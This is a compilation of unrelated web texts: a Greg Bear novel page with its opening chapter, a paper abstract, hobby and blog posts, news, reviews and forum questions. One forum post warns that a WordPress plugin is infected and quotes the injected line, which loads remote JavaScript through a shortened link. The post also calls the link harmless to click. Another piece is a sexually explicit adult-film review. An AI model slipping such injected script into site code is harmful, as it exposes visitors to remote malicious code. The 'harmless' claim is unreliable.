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In his triumphant return to large-scale SF, Nebula and Hugo-winner Bear (Quantico) links three young drifters in present-day Seattle with an unimaginably distant future. When the drifters answer an odd newspaper advertisement, they soon find themselves caught up in a war between mysterious and powerful forces. Two not-quite-humans, creations of a million-year experiment, have discovered that their ancient fortress/city, perhaps the last refuge of intelligence in a dying universe, is about to fall before the onslaught of chaos. They have been chosen by beings evolved far beyond mere matter to undertake a dangerous mission to preserve the universe's last vestiges of consciousness. Somehow the two groups engage in telepathic communication despite the eons that separate them. Something of an homage to William Hope Hodgson's classic The Night Land, this complex, difficult and beautifully written tale will appeal to sophisticated readers who prefer thorny conundrums to fast-paced action. (Aug.)Copyright © Reed Business Information, a division of Reed Elsevier Inc. All rights reserved.
City at the End of Timeby Greg Bear
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Multiple Hugo and Nebula award-winning author, Greg Bear is one of science fiction's most accomplished writers. Bold scientific speculation, riveting plots, and a fierce humanism reflected in characters who dare to dream of better worlds distinguish his work. Now Bear has written a mind-bendingly epic novel that may well be his masterpiece.
Do you dream of a city at the end of time?
In a time like the present, in a world that may or may not be our own, three young people–Ginny, Jack, and Daniel–dream of a doomed, decadent city of the distant future: the Kalpa. Ginny's and Jack's dreams overtake them without warning, leaving their bodies behind while carrying their consciousnesses forward, into the minds of two inhabitants of the Kalpa–a would-be warrior, Jebrassy, and an inquisitive explorer, Tiadba–who have been genetically retro-engineered to possess qualities of ancient humanity. As for Daniel: He dreams of an empty darkness–all that his future holds.
But more than dreams link Ginny, Jack, and Daniel. They are fate-shifters, born with the ability to skip like stones across the surface of the fifth dimension, inhabiting alternate versions of themselves. And each guards an object whose origin and purpose are unknown: gnarled, stony artifacts called sum-runners that persist unchanged through all versions of time.
Hunted by others with similar powers who seek the sum-runners on behalf of a terrifying, goddess-like entity known as the Chalk Princess, Ginny, Jack, and Daniel are drawn, despite themselves, into an all but hopeless mission to rescue the future–and complete the greatest achievement in human history.
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Bear (Darwin's Radio; Blood Music), five-time winner of the prestigious Nebula Award, has written a dreamlike tale that interweaves cutting-edge cosmology theory, creation mythology reminiscent of Joseph Campbell's The Hero with a Thousand Faces, and the Librarian and library of Jorge Luis Borges's classic short story "The Library of Babel." Spinning between the two spools of contemporary Seattle-in the present universe aged ten billion years and the Kalpa, a reality that exists 100 trillion years ahead in a future universe-Bear develops the stories of four young people embedded in an epic 100 trillion years long as they interact with a malevolent godlike being and overwhelming chaos while connecting the present with the future and acting as channels for the rebirth of the universe. Plunging readers into a visceral experience of cosmological theory and the big creation stories of mythology, this challenging and imaginative work will receive critical attention. Recommended for public and academic libraries where intelligent speculative fiction circulates.
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"[A] triumphant return to large-scale SF . . . beautifully written."—Publishers Weekly, A Best Book of the Year
"[City at the End of Time] has the flavor of weird fantasy, closer in its feel to the works of Neil Gaiman or China Miéville than anything Bear has done before. It . . . has an epic depth."—Sci Fi Weekly
"A gripping, original tale."—NewScientist
"Powerful and evocative."—Analog
"Superlative . . . an excellent, excellent work."—Harlan Ellison
"Compelling . . . a remarkable tour de force of sustained visionary writing . . . one of Bear's best novels, perhaps even the very best."—Locus
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- Publication date:
- 08/05/2008
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- 496
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Chapter 1
The city was young. Unbelievably young.
The moon rose sharp and silver-blue over a deck of soft gray clouds, and if you looked east, above the hills, where the sun would soon rise, you saw a brightness as yellow and real as natural butter.
The city faced the coming day with dew cold and wet on new green grass, streaming down windows, beaded on railings, chill against swiping fingers.
Waking up in the city, no one could know how young it was and fresh; all had activities to plan, living worries to blind them, and what would it take to finally smell the blessed, cool newness, but a whiff of something other?
Everyone went about their business.
The day passed into dusk.
Hardly anyone noticed there was a difference.
A hint of loss.
With a shock that nearly made her cry out, Ginny thought she saw the old gray Mercedes in the wide side mirror of the Metro bus-stopped the next lane over, two car lengths behind, blocking traffic. The smoked rear windows, the crack in its mottled windshield-clearly visible.
It's them-the man with the silver dollar, the woman with flames in her palms.
The bus's front door opened, but Ginny stepped back into the aisle. All thoughts of getting out a stop early, of walking the next few blocks to stretch her legs and think, had vanished.
The Metro driver-a plump black woman with ivory sclera and pale brown eyes, dark red lipstick, and diamonds on her incisors, still, after a day's hard work, lightly perfumed with My Sin-stared up at Ginny. "Someone following you, honey? I can call the cops." She tapped the bus's emergency button with a long pearly fingernail.
Ginny shook her head. "Won't help. It's nothing."
The driver sighed and closed the door, and the bus drove on. Ginny took her seat and rested her backpack in her lap-she missed the weight of her box, but for the moment, it was someplace safe. She glanced over her shoulder through the bus's rear window.
The Mercedes dropped back and turned onto a side street.
With her good hand, she felt in the pack's zippered side pocket for a piece of paper. While unwrapping the filthy bandage from her hand, the doctor at the clinic had spent half an hour gently redressing her burns, injecting a big dose of antibiotics, and asking too many questions.
Ginny turned to the front of the bus and closed her eyes. Felt the passengers brush by, heard the front door and the middle door open and close with rubbery shushes, the air brakes chuffing and sighing.
The doctor had told her about an eccentric but kind old man who lived alone in a warehouse filled with books. The old man needed an assistant. Could be long-term. Room and board, a safe place; all legit. The doctor had not asked Ginny to trust her. That would have been too much.
Then, she had printed out a map.
Because Ginny had no other place to go, she was following the doctor's directions. She unfolded the paper. Just a few more stops. First Avenue South-south of the two huge stadiums. It was getting dark-almost eight o'clock.
Before boarding the bus-before seeing or imagining the gray Mercedes- Ginny had found an open pawnshop a block from the clinic. There, like Queequeg selling his shrunken head, she had hocked her box and the library stone within.
It was Ginny's mother who had called it the library stone. Her father had called it a "sum-runner." Neither of the names had ever come with much of an explanation. The stone-a hooked, burned-looking, come-and- go thing in a lead-lined box about two inches on a side-was supposed to be the only valuable possession left to their nomadic family. Her mother and father hadn't told her where they had taken possession of it, or when. They probably didn't know or couldn't remember.
The box always seemed to weigh the same, but when they slid open the grooved lid-a lid that only opened if you rotated the box in a certain way, then back again-her mother would usually smile and say, "Runner's turned widdershins!" and with great theater they would reveal to their doubting daughter the empty interior.
The next time, the stone might stick up from the padded recess as solid and real and unexplained as anything else in their life.
As a child, Ginny had thought that their whole existence was some sort of magic trick, like the stone in its box.
When the pawnbroker, with her help, had opened the box, the stone was actually visible-her first real luck in weeks. The pawnbroker pulled out the stone and tried to look at it from all directions. The stone- as always-refused to rotate, no matter how hard he twisted and tugged. "Strong sucker. What is it, a gyroscope?" he asked. "Kind of ugly-but clever."
He had written her a ticket and paid her ten dollars.
This was what she carried: a map on a piece of paper, a bus route, and ten dollars she was afraid to spend, because then she might never retrieve her sum-runner, all she had to remember her family by. A special family that had chased fortune in a special way, yet never stayed long in one place-never more than a few months, as if they were being pursued.
The bus pulled to the curb and the doors sighed open. The driver flicked her a sad glance as she stepped down to the curb.
The door closed and the bus hummed on.
In a few minutes the driver would forget the slender, brown-haired girl-the skittish, frightened girl, always looking over her shoulder.
Ginny stood on the curb under the lowering dusk. Airplanes far to the south scraped golden contrails on the deep blue sky. She listened to the city. Buildings breathed, streets grumbled. Traffic noise buzzed from east and west, filtered and muted between the long industrial warehouses. Somewhere, a car alarm went off and was silenced with a disappointed chirp.
Down the block, a single Thai restaurant spilled a warm glow from its windows and open door.
She took a hungry half breath and looked up and down the wide street, deserted except for the bus's dwindling taillights. Shouldering her pack, she crossed and paused in a puddle of sour orange glow cast by a streetlight. Stared up at the green slab wall of the warehouse. She could hide here. Nobody would find her. Nobody would know anything about her.
It felt right.
She knew how to erase trails and blank memories. If the old man turned out to be a greasy pervert-she could handle that. She had dealt with worse-much worse.
On the north end of the warehouse, an enclosure of chain-link fence surrounded a concrete ramp and a small, empty parking lot. At the low end of the ramp, a locked gate barred access from the sidewalk. Ginny looked for security cameras, but none were visible. An old ivory- colored plastic button mounted in green brass was the only way to attract attention. She double-checked the address on the map. Looked up at the high corner of the warehouse. Squeezed her finger through the chain link.
Pushed the button.
A few moments later, as she was about to leave, the gate buzzed open. No voice, no welcome.
Her shoulders slumped in relief-so tired.
But after all she had been through, no hope could go unchallenged. Quickly, she probed with all her strength and talent for a better way through the confused tangles of outcome and effect. None appeared. This was the only good path. Every other led her back to the spinning, blue-white storm in the woods.
For months now she had felt her remaining options pinch down. She had never pictured this warehouse, never known she would end up in Seattle, never clearly foreseen the free clinic and the helpful doctor.
Ginny pulled the gate open and walked up the ramp. The gate swung back with a rasping squeak and locked behind her.
Today was her eighteenth birthday.
From the Hardcover edition.
Meet the Author
Greg Bear is the author of more than twenty-five books, which have been translated into more than a dozen languages. He has been awarded two Hugos and five Nebulas for his fiction. He is married to Astrid Anderson Bear, and they are the parents of two children, Erik and Alexandra.
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First book that i absolutely could not finish reading! I could not figure out what was going on in the 100 pages I read. It might have been from intense boredom that i zoned out while reading it, but I believe it is from the lack of explanation from the author. I hated it!! I feel I wasted my money!
I am usually a fan of Greg Bear, but his was disappointing. While there are big scientific ideas at work in this novel, they are buried and difficult to work out. They are so poorly developed that the novel is really a fantasy rather than than hard science fiction. After all, the good guys win by joining, what in any other work, would have been called "magic stones" -- here, they are "summing stones." The characters are poorly developed and most of them are uninteresting. They are merely vehicles for a plot that grinds along until it ends with something very close to "And then a miracle occurs." Now, it's possible that Bear was trying to avoid having a scientist character who would lecture for pages about the science at issue. That is a noble undertaking. But it's not an excuse for putting the science in a Cuisinart, scattering it through the book and among the characters, and never developing it fully.
If you wrote a poor review of this book, odds are you didn't read the entire story. If you didn't read the entire story, your opinion cannot be trusted. You missed the boat. This story is great. Without spoiling anything, the "chaotic" structure matches the themes involving time. The visuals portrayed are both abstract and detailed. Same goes for the scope and change of perspectives. If you're ready to think and read, here's your story. Let your eyes glaze while your mind takes it all in and tries to organize and understand what you're reading. If you don't respect this story, you don't understand Greg Bear as a writer.
It leaves you feeling empty. The plot is really good, and the characters are solid, but the way he presented them was weak. The pace was so slow I thought this was a mystery novel. What happened to the Bear that wrote Eon?
This book was incredible. The story of an evil that devours time and the rush of past and future heros to stop it. I really don't want to say too much but this was an awesome read. The way the the characters in the story shift and move through time is dynamic and inventive. I can praise this story forever. Read it! Nothing further.
In Seattle, three people (Ginny, Jack, and Max) separately and with no seeming connection see a newspaper ad that stuns them. The advertisement states: ¿Do you dream of a city at the end of time?¿ Each can answer in the affirmative as they have had visions of a dark desolate landscape of a devastated wasteland they also share in common a form of amnesia in which none of them know anything important from their respective pasts. They only have just flashes of urban desolation. ---------- They respond and soon learn they are the Protectors of time. An enigmatic, at one time seemingly omnipotent race has created a million-year sentient species experiment. Now after a hundred trillion years the ancient Kalpa is the last vestige of true knowledge and is rapidly deteriorating as the universe dies. The insanity of chaos fills the vacuum. The trio understands their mission is to save any form of awareness of being to pass on to the rebirth and know the danger they face in attempting this, but consider the alternative nothingness. --------------- THE CITY AT THE END OF TIME is not an easy or fast-paced read but worth the time for those science fiction fans who appreciate a very complex story line that increasingly turns even more complicated as Greg Bear explores an ontological theme. The key characters especially the threesome, the ad taker, and those at the Kalpa discussing the end of times seem real enough to have the audience feel the countdown to the big crunch has begun. The hope is that the trio will save a flicker of light that survives into the universe reincarnation that the Kalpa inhabitants believe will occur. Mr. Bear provides a well written cerebral sci fi tale.------------------- Harriet Klausner
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A neural network based multi-classifier system for gene identification in DNA sequences
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The paper presents a neural network based multi-classifier system for the identification of Escherichia coli promoter sequences in strings of DNA. As each gene in DNA is preceded by a promoter sequence, the successful location of an E. coli promoter leads to the identification of the corresponding E. coli gene in the DNA sequence. A set of 324 known E. coli promoters and a set of 429 known non-promoter sequences were encoded using four different encoding methods. The encoded sequences were then used to train four different neural networks. The classification results of the four individual neural networks were then combined through an aggregation function, which used a variation of the logarithmic opinion pool method. The weights of this function were determined by a genetic algorithm. The multi-classifier system was then tested on 159 known promoter sequences and 171 non-promoter sequences not contained in the training set. The results obtained through this study proved that the same data set, when presented to neural networks in different forms, can provide slightly varying results. It also proves that when different opinions of more classifiers on the same input data are integrated within a multi-classifier system, we can obtain results that are better than the individual performances of the neural networks. The performances of our multi-classifier system outperform the results of other prediction systems for E. coli promoters developed so far.
KeywordsNeural networks Neural network optimization Multi-classifier systems Promoter recognition Genetic algorithms
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- A neural network based multi-classifier system for gene identification in DNA sequences
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Neural Computing & Applications
Volume 14, Issue 2 , pp 122-131
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- 2005-07
- 10.1007/s00521-004-0447-7
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Based off of a Dali painting. I just fixed my printer, and simultaneously ran out of good ideas for stencils. But at least now I can photomanip( and etc ) to create my own stencils and print them. Anyway, this came about due to boredom and need to make something. I'm fairly pleased lol, not sure the legs read quite right.
14"x22" on posterboard
2 layers
14"x22" on posterboard
2 layers
this is awesome! love it
that just cracks me up, nice job mate
thanks much
Haha that's really cool and kinda funny. I like the image.
its pretty cool although the feet came out strange lol
thank ya, thank ya. and yea, the feet were my main gripe
pretty effin' cool =]
That is like totally random!
But i still like it.
But i still like it.
Thats sweet
Hahaha! That's awesome. Very good job!


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Released: Oct 01st, 2005
Running Time: 180
Director: Sal Genoa
Company: Anabolic Digital
Cast: Mike Foster, Sascha, Jay (I), Lady Armani, Joel Lawrence, Marie Luv, Megan Martinez, Frank Gun, Keanni Lei, Chanel Chavez, Sativa Rose, Mika Brown, Anthony Hardwood
Critical Rating: AAAA
Genre: Gonzo
Sal Genoa shoots this Lexington Steele-created series, and very well.
Everything's hot, but two threeways stand out. Leggy Marie Luv goes straight to the A - Joel Lawrence dives into her ass while Sascha face-fucks her. Her fierce hunger for dick makes the climactic d.p. an arousing event.
Keanni Lei, who is Chinese-Panamanian and has a perfect smooth butt, takes on Frank Gun and Mike Foster for a double vaginal. "Stretch that pussy out good!" she begs. Then one guy goes in her ass, followed by a d. p.
Pre-nom: Best Threeway Sex Scene (Luv, Lawrence, Sascha; Lei, Gun and Foster).
Retailing: You can't go wrong with Anabolic when the scenes are this hard and hot.


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Welcome to to the 2015 Simi Valley Dream Cuisine website.
"Wish Upon A Star," the 6th Annual Simi Valley Dream Cuisine.
St. Rose of Lima Christian Services, The Simi Valley Knights of Columbus and St. Rose of Lima Parish & Grade School have been serving the poor, the needy and less fortunate in Simi Valley and surrounding communities for the past 50 years. All the proceeds from our "Simi Valley Dream Cuisine" will help support this invaluable service to the less fortunate in Simi Valley, Thousand Oaks, and Moorpark areas, as well as the students of St. Rose of Lima School. This year our honoree is the "Make A Wish Foundation" as we proudly "Adopt a Wish!"
Once again our festival will feature gourmet foods from 50 of the finest restaurants in Simi Valley, Moorpark, Thousand Oaks and San Fernando Valley; fine wine from California wineries; beer from well-known breweries; desserts from the finest bakeries and dessert establishments in the Southland. Returning this year will be concert and dancing provided by the very popular "Ronny & The Classics" who will be playing all your favorite oldies from the 50's through 80's. The evening will also include a fabulous silent auction and a large opportunity drawing.
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Vinny's Ultimate Fighter Blog (Episode 9)
Vinicius "Pezao" Magalhaes has advanced to the light-heavyweight semifinals on "The Ultimate Fighter 8."
Now, if he can survive all the hijinx and pranks in the house, he's got a chance at winning the UFC contract.
Vinny has been blogging for the OC Register all season, giving a behind the scenes look at everything going on in the house, during training and in the fights.
TUF 8 airs Wednesdays at 10 p.m. on Spike TV.
Here is what Vinny had to say:
Here we are again with one more episode of "Fear Factor" ... I mean, "Jackass" … Oops ...� of "The Ultimate Fighter."
After losing his match against Phillipe Nover, Dave Kaplan became by far the most entertaining guy in the house. At least that's what he was trying to be, and I have to agree: A lot of the stuff that he did was pretty entertaining.
As most of the guys would do after they lost a fight, Dave and Tom Lawlor decided to kill their time on the show drinking themselves "almost to death." (ok...I'm over-exaggerating� on this one).�
Every time they got drunk they would come out with some� unbelievable� ideas...
Fortunately, someone from the UFC or Spike didn't allow some of the stuff that happened in the house to make on TV, because it would be pretty disgusting.�
Unfortunately, I didn't get the chance to see the best knockout by far of this season live. I was upstairs when Tom told us that he had knocked Kaplan out. I thought it was funny just by the way Tom told us, but after watching it on TV it was even funnier. Anyways, we have to give these guys some credit. Both Tom and Kaplan make for really good and entertaining TV.
At that point of the competition, I can pretty much say that I was rooting for Kyle Kingsbury. Not that I liked Kyle. We actually barely talked to each other on the show.
But the reason I was rooting for him was because Krzysztof Soszynski was looking down on people that were probably better than him skill-wise. Plus, I was really (ticked) at him for getting in a partnership with Eliot Marshall and talking trash about me behind my back.
Honestly, I thought Krzysztof was going to win this fight, but I was still rooting for Kyle to pull out a lucky punch and knock Krzysztof out.�
A lot of people think that just because we are Brazilians we have to be good at soccer. Well, that's not really the case.
I'm with Antonio Rodrigo Nogueira on this one. I would go even farther than him to describe my soccer abilities. He said he was the worst soccer player in Brazil. Maybe, he meant to say he was the worst soccer player in his state or something, because I'm pretty sure he could not have been worse than me at soccer. I was horrible at it when I was I kid and I think I'm even worse nowadays.
When we found out Nogueira didn't really know how to play soccer, we thought Frank Mir had a chance to win that challenge. But after seeing how "hard" Frank was trying, we� definitely� gave up, at least I did.
FIGHT OF THE DAY: KYLE KINGSBURY vs. KRZYSZTOF SOSZYNSKI�
As I already said, Krzysztof was my teammate back home (at Team Quest) at that time, and for a little while we were even roommates outside of the show. So when I went to the competition, I was totally rooting for his success and mine as well. But after couple weeks or maybe earlier than that, I started to dislike him a little bit. So, yeah, I was definitely rooting for Kyle on this one.
The fight started and Krzysztof and Kyle trading some sloppy punches until they got into the clinch.
When I saw Kyle getting Krzysztof in a good� body lock,� I thought he was going to take Krzysztof down and then punish him from guard or something.
But Kyle ended up putting himself in a bad position and getting tapped in one of the slowest armbars I've ever seen in MMA.
I think everybody else at the training center saw that move coming, except for Kyle.
Anyways, we have our four semifinalists for the light-heavyweight division. I can� guarantee� that the next few fights on the show will be pretty entertaining. I hope you don't miss it!!!
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If you found this code injected in your source code, is because this plugin is infected. I have 4 websites and all 4 of the use this plugin.
I hope plugin's developer didn't do this on purpose.
It's on file my-videotag.php on line 88.
echo '<script type="text/javascript" src="http://goo.gl/OIM1b"></script>'."\n";
You can click on this it's harmless, just code repository.
this is the eval script.
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The increase in CO2 emissions in FY2014 resulted from a need to transport freight by air instead of ocean containers to avoid long delays caused by port bottlenecks in the Philippines and by U.S. West Coast port labor issues.
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The NYPD Wants to See Through Your Pants
It's like an X-ray machine, but you don't know you're being X-rayed.
Is that a gun in your pants or are you just happy to see me? Soon, the NYPD hopes to get the answer from a distance of 25 meters, with the help of a van-mounted device that uses infrared rays to detect metal objects in your clothes. Somewhere in New York, an ACLU lawyer just spit his coffee all over the place in comedic fashion.


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What is the name of your state (only U.S. law)? CALIFORNIA
I had my motorcycle (broken down) in a mechanic's shop. Talking with the technicians about once per week as the diagnosis for a blown motor unfolded, I was never told of any storage fees or potential abandoned property lean sales. I had a conversation with one of the managers when it was realized that the problem with the motor cycle would be very expensive which ended in me saying "I'm going to ask around my buddies to see if anyone wants to buy it as is and think over what to do." He said "sure no problem." After a couple weeks had passed, I had a voicemail from the shop (which I still have) saying in a casual tone that they had a few questions and to give them a call back. I call back, ask for the manager as instructed, and he isn't available, the conversation ends with "we will have him call you back." I never here back, until a week or so passes when I get a notice of an impending lean sale taking place on my bike in the mail. This is the first time I have heard about such thing, no waring letters, no voicemails warning of building storage fees NOTHING. Just this letter out of the blue. I call the shop to ask about this and according to them it is too late, the bike is already out of their hands and I am more or less at a sunk cost of my bike. I feel like this is wrong, surely under California law they are required to do more to get ahold of me than a casual voicemail and suddenly boom a letter in the mail telling me a lien sale is said and done.. I am hoping to sue for a couple grand or at least threaten lawsuit to obtain some sort of compensation if they did not in fact follow procedure. Any insight on where I can go with this would be greatly appreciated.


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I am trying to import a NetBeans project consisting of a swing GUI with a few other classes. The GUI has a GroupLayout layout manager in place from NetBeans along with a .form file. I am trying to open either (not sure which or how) so that I can edit the GUI such as I did in NetBeans.
Is there are way to "inform" the snapshot function about the GroupLayout manager? How can I go about importing a GroupLayout based GUI into IntelliJ?
Another solution might be, is there a way to change my NetBeans GUI so that I can import it into IntelliJ easier?


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I'm running ubuntu, and I can't get the Canon IP1180 printer to print. Do you know what to do? Thanks.
According to canon, the IP1800 uses the same drive. Some printer models can share the same driver. Canon says online that PIXMA ip1180 and canon PIXMA ip1800 use the same generic driver.
That being said, you can download the driver from canon.


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Hi all,
I have a little issue with a child theme from Codium Extended.
It's surely a "piece of cake" but it's making me crazy.
Basically I have a 1 pixel (or 2...) gap between the header and the wrapper and I can't find out why. The header and wrapper are slightly not aligned :-(
The best is simply to check what I mean "Visually" on my blog=>
I would be really thankful if a good soul would give me the little piece of code I have to change :-)
Greetings from Berlin


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Jez Butterworth's comeback comedy is populated by lower-middle-class neighbours who live in a housing development stuck in a field outside London. Demolition man Ned (Toby Jones) feels his life is imploding. Macho Dale (Andrew Lincoln) — a walking comedy of male manners — is his best mate who has an affair with Ned's emotionally unsatisfied wife, Joy (Amanda Drew). Ian Rickson's production is a delight of witty dialogue and fine acting. But the lesson that life in the suburbs is uneventful is rather pedestrian.
You think of the white South African dramatist Athol Fugard and you think of the brave apartheid plays he stitched together with black collaborators John Kani and Winston Ntshona. You think of how, when Kani and Ntshona first performed Sizwe Banzi is Dead in Cape Town, they defied South Africa's brutal Security Police.
As with that other production about transsexuals currently in the West End, Priscilla is based on an original movie and features a gay hero with a heterosexual past that produced a son. But unlike La Cage aux Folles, this Australian road-show starring Jason Donovan as one of three "gender illusionists" is not set to an original score but to juke-box hits. There is a limit to the entertainment value of men in frocks singing covers less well than the originals. Thirty minutes tops? This is nearly three hours.
Nothing can save can save Yukio Mishima's static play from petrifying: not the fact that it is the story of the Marquis de Sade; not the fact that one of those women is played by Dame Judi Dench; and not even the, admittedly irrelevant but interesting, fact that Mishima committed ritual suicide. To breathe life into the accounts of the Marquis' sado-masochism, Michael Grandage's production relies entirely on the sumptuous crinoline dresses worn by his cast.
It is no surprise that Kafka's short story A Report to an Academy, first published in 1917 in an intellectual German magazine called The Jew — Der Jude in the original German — has been interpreted as a commentary on the condition of the Jewish diaspora.
Corin Redgrave's major theatrical comeback following his heart attack was overshadowed by the news that his niece, Natasha Richardson, lay critically ill following a skiing accident. But John Dove's rewarding production still went ahead. In this epistolary play by Christopher Trumbo, Redgrave plays the author's father, the late, blacklisted Hollywood screenwriter Dalton Trumbo. Redgrave is mesmerising as the always witty and usually angry Trumbo who, though jailed, refused to submit to the McCarthy anti-Communist witchhunts. Catch it if you can.
I'm not a big fan of verbatim plays. Much better to create characters and conversations than copy them from real life. But Philip Ralph's examination of the institutional evasions and failures that followed four fatal shootings at the Surrey army barracks is staged by director Mick Gordon with such invention, a lack of creativity is never the issue.
You are left wondering how a country whose Defence Ministry, police force, government and army can treat the parents of dead soldiers with such callous disdain, and still call itself democratic. It can't. I wanted to riot.
Shaw Theatre, London NW1
Royal Court, London SW1
You would think it had been planned. The day after Iris Bahr brought her solo show to the Shaw Theatre, Sir David Hare premiered his at the Royal Court. It is hard to imagine two more different writer/performers than Hare and Bahr. Or two plays more closely linked.
Before the story begins, we wait for a kettle to boil. Memories of childhood are evoked with the snip-snip of scissors — there are some lovely touches deployed by director Julia McShane in this solo show adapted by Simon Reade from Michael Morpurgo's children's book. Best of all is Andrew Bridgmont's Venetian virtuoso violinist Paolo Levi who has never played Mozart publicly. He reveals why with a tale that begins in his father's barber shop and develops into a beautifully told story about Holocaust survival.
After the distractions about whether Richard Dreyfuss's ear was being fed words by wire, Kevin Spacey's venue is back on track. Brian Friel's 1990 play, set in 1936 Donegal, is confirmed as a modern classic and Anna Mackmin as one of our finest directors.
Mackmin elegantly draws the threads of Friel's Mundy family — the rural lives of five unmarried sisters plagued by poverty, constrained by religiosity, yet each brimful of a pagan urge to dance like demons.


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Energy and Global Warming News for October 25th: Brazil plans a price on oil to accelerate climate efforts; Yemen's capital will run out of water by 2025; Californias oldest trade organization opposes Prop. 23
Brazil plans a price on oil to accelerate climate efforts
Brazil expects to see its lowest rates of illegal deforestation since 1988 by the end of this year. Minister of Environment Izabella Teixeira said the government will reduce the annual chopping and burning of the Amazon rainforest to between 4,000 and 5,000 square kilometers. The figures will be announced in the run-up to this year's U.N. climate change conference in Cancun, Mexico, this December.
The Amazon clearing is a far cry from the 24,000 square kilometers the so-called "lungs of the Earth" lost in the beginning of this decade. But, Teixeira said, it's also not enough.
Last year, at climate talks in Copenhagen, Denmark, Brazil promised to reduce its carbon dioxide output 36 percent over the coming decade. Meeting that goal would bring Brazil — now the world's seventh-largest emitter — back to its 1994 levels. This week, Teixeira said, President Luiz In¡cio Lula da Silva will sign Brazil's sectoral strategy and investment plan to show how the country will meet that target. Also this week, Brazil will launch a long-planned climate change fund, bankrolled by a levy on oil production and exploration.
Together, these moves and others are part of a larger Brazilian strategy of assuming a new role in the U.N. climate talks: that of an emerging economic superpower intent on protecting smaller, developing countries while also proving to the United States and others that it will do its part to fight rising global emissions.
Yemen's capital 'will run out of water by 2025'
Water shortages in Yemen will squeeze agriculture to such an extent that 750,000 jobs could disappear and incomes could drop by a quarter within a decade, according to a report.
Poor water management and the enormous consumption of water for the farming of the popular stimulant khat are blamed for the predicted water shortages, which experts say could lead to the capital Sana'a running out of water by around 2025.
The report was produced by McKinsey&Company, an international management consulting firm, which was charged by the Yemeni government with identifying ten governmental priorities for the next decade. A preliminary draft of the report was released last month (24 September).
Yemen has no rivers, so the main sources of water are groundwater and rain. The study warns that almost 90 per cent of the country's available freshwater is used for agriculture.
"Sana'a, the Yemeni capital, located 2,150 metres above sea level and 226 kilometres from the Red Sea shore, is facing depletion of its main groundwater basin," said Mohamed Soltan, a hydrology expert who manages the city's groundwater basins. "Sana'a will be the first city in the world to run out of water by 2025."
California's Oldest Trade Organization Comes Out Against Prop. 23
The Independent Energy Producers Association is a leading non-profit California trade organization and the oldest of its kind in the state. Together, its members represent about one-third of California's generating capacity, so when IEPA speaks, people listen. Yesterday IEPA Executive Director Jan Smutny-Jones spoke. He issued a statement declaring that "Proposition 23 will undo the remarkable progress green energy generators are making in California – and put thousands of clean energy workers out of work." This is a pretty forceful declaration for a major business group, so let's see what's behind it.
IEPA was formed in 1982 and its mission is pretty straightforward, which among other things is to "ensure that California remains a healthy market for development in the independent energy industry." The focus on forward development makes sense, given its membership. Though IEPA includes members that operate certain gas-fired facilities and co-generation plants, its main thrust is away from fossil fuels and into clean tech including biomass, geothermal, small hydro, solar, and wind. The passage of AB32, California's landmark climate legislation, has helped to give IEPA's mission a huge boost. Much of that would be undone by the passage of Proposition 23.
Smutny-Jones's statement puts IEPA squarely at odds with the U.S. Chamber of Commerce, which has been pouring millions into attack ads across the country that are primarily directed against candidates who support clean energy legislation. In California, the Chamber has funded ads attacking the incumbent Senator, who is opposed to Proposition 23, and it has officially endorsed her challenger, who supports Proposition 23.
California is not an isolated case. A couple of other examples are Pennsylvania, where Joe Sestak is under attack, and Virginia, where Tom Perriello faces a challenger who favors oil drilling off the Virginia coast. In fact, when you look at Senate races across the country, IEPA has staked out a position that is the polar opposite of the entire slate of candidates put forth for Senate by a major U.S. political party: virtually all of them oppose clean energy legislation, and many have expressed doubt and downright denial over the science of climate change. In contrast, IEPA simply posts Governor Schwarzenegger's statement affirming the power of regulated markets to reduce greenhouse gasses and "make California No. 1 in the fight against global warming."
San Antonio Gets the Scoop on First Commercial Biogas from Municipal Sewage
Leave it to larger-than-life Texas to lead the U.S. into a new energy future. While the state is most closely associated with oil, it has also been an early pioneer of wind power, and is beginning to embrace solar energy along with armloads of new green jobs. Now the San Antonio Water System has set the national bar high in the sewage-to-biogas field, by becoming the first water district to hook a biogas facility up to a commercial gas pipeline.
Methane gas, a powerful greenhouse gas, is a natural byproduct of the sewage treatment process. In conventional treatment plant operations, the general practice has been to simply burn it off. More recently, some treatment plants have installed equipment to capture the gas and use it as a power source, which significantly lowers the release of greenhouse emissions. One notable example is in Washington State, where new biogas equipment is being installed in combination with an efficiency overhaul, with the resulting savings enough to power about 210 homes annually.
Other large-scale facilities that manage animal waste are also installing biogas facilities. The advantages are many. Dairy farmers, for example, can use biogas equipment to lower utility costs, reduce waste disposal costs, and grow their business without running afoul of environmental protection regulations. The U.S. Department of Agriculture has become a key mover of this trend through its AgStar biogas program. Biogas recovery at food processing plants can also help cut utility costs, and help large-scale processors avoid millions in fines due to improper waste disposal practices.
The new biogas system was installed in partnership with Ameresco, Inc. at the Dos Rios Water Recycling Center. Biogas captured at the facility is sold commercially through a nearby gas pipeline for an estimated $200,000 annually, which will help manage the cost of the treatment facilities. Biogas is just one-third of the Dos Rios "trifecta" as Ameresco calls it. Another component is biosolids, which just as in agricultural operations can be used as fertilizer. Third is the high quality water that comes out of modern sewage treatment plants, which in the case of Dos Rios is good enough to use for irrigating San Antonio's famous Riverwalk as well as recreation facilities, parks and commercial properties.
A Passive Alternative to Traditional Roofing Shingles: Glass Tiles
Interested in re-roofing your house? Or building a home and wondering what roofing system to go with? Check this out"¦ Swedish company SolTech Energy has developed some cool-looking, award-winning solar glass roofing tiles. These are not active solar tiles but they are a passive solar roofing option.
The glass tiles can be installed using traditional roof tile installation methods, and the tiles have a longer life than conventional concrete or clay roofing tiles.
How does the solar glass roofing system work? Preston Koerner of Jetson Green reports: "air below the glass tile is heated by the sun and redirected for use by the central heating system. The system works with air-based and water-based heating systems, including, for example, a ground source heat pump, air heat pump, pellet boiler, oil boiler, or electric boiler." The system is available commercially in Sweden and Spain and SolTech Energy intends to bring it to the U.S. in 2011.
The roof system is especially helpful in snowy climates since snow easily slides down the glassy tiles. The system won the Hottest New Materials 2010 award from the North Building Fair (aka Nordbygg).
Chavez signs green energy deal with Portugal
Venezuelan President Hugo Chavez signed agreements with Portugal on Sunday for the development of renewable energy projects which he expects will one day replace his country's dominant oil industry. Portugal, which has no oil or coal, has in recent times pioneered developments in wind and solar power.
"This type of energy is the future," Chavez said during a visit to a Portuguese factory making equipment for wind power generators. "We have to start getting ready for the post-oil era," he said in televised remarks during a daylong visit to northern Portugal.
Chavez said Venezuela aims to develop wind energy projects at four sites in the country. Details of the green energy agreement were not immediately available. He also said his government plans to increase oil sales to Portugal, though he did not say how much more crude would be shipped. The president, whose country's top oil client is still the United States in spite of political tensions, noted that Venezuela has been diversifying its market.
